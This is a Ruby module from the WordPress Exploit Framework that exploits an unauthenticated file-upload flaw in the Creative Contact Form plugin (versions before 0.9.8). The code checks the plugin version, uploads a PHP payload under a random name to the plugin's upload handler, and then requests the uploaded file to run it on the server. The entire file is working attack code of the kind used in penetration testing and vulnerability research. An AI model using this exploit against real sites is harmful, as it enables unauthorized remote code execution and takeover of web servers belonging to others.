# frozen_string_literal: true

class Wpxf::Exploit::CreativeContactFormShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'Creative Contact Form Shell Upload',
      desc: 'This module exploits a file upload vulnerability in all versions '\
            'of the Creative Contact Form plugin prior to version 0.9.8 which '\
            'allows unauthenticated users to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'Gianni Angelozzi', # Vulnerability discovery
        'rastating'         # WPXF module
      ],
      references: [
        ['EDB', '35057'],
        ['WPVDB', '7652']
      ],
      date: 'Oct 22 2014'
    )
  end

  def check
    check_plugin_version_from_readme('sexy-contact-form', '0.9.8')
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'sexy-contact-form')
  end

  def uploader_url
    normalize_uri(plugin_url, 'includes', 'fileupload', 'index.php')
  end

  def payload_body_builder(payload_name)
    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('files[]', payload.encoded, payload_name)
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
    builder = payload_body_builder(payload_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: uploader_url, body: body)
    end

    if res.nil? || res.timed_out?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200 || res.body !~ /files|#{Regexp.escape(payload_name)}/
      emit_info "Response code: #{res.code}", true
      emit_info "Response body: #{res.body}", true
      emit_error 'Failed to upload payload'
      return false
    end

    payload_url = normalize_uri(plugin_url, 'includes', 'fileupload', 'files', payload_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)

    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end
